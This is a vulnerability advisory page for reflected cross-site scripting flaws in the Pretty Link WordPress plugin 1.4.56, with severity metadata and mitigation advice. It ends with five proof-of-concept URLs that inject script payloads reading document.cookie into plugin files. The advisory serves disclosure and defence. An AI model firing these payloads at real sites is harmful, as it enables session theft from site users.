Multiple Cross-Site Scripting Vulnerabilities in Pretty Link Plugin for WordPress

vendor:

Pretty Link Plugin for WordPress

by:

Unknown

5.5

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: Pretty Link Plugin for WordPress

Affected Version From: 1.4.56

Affected Version To: Unknown (other versions may also be affected)

Patch Exists: YES

Related CWE:

CPE: a:pretty_link:pretty_link:1.4.56

Metasploit:

Other Scripts:

Platforms Tested: WordPress

Unknown

Multiple Cross-Site Scripting Vulnerabilities in Pretty Link Plugin for WordPress

The Pretty Link plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Update to the latest version of the Pretty Link plugin for WordPress. Sanitize user-supplied input to prevent XSS attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/50096/info

The Pretty Link plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pretty Link Plugin 1.4.56 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/pretty-link/classes/views/prli-clicks/head.php?min_date=%3Cscript%3Ealert%28d ocument.cookie%29;%3C/script%3E
http://www.example.com/wp-content/plugins/pretty-link/classes/views/prli-dashboard-widget/widget.php?message=%3Cscript% 3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?prli_blogurl=%3Cscript%3Ealert% 28document.cookie%29;%3C/script%3E
http://www.example.com/wp-content/plugins/pretty-link/classes/views/shared/errors.php?errors[]=%3Cscript%3Ealert%28docu ment.cookie%29;%3C/script%3E
http://www.example.com/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&page_first_re cord=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E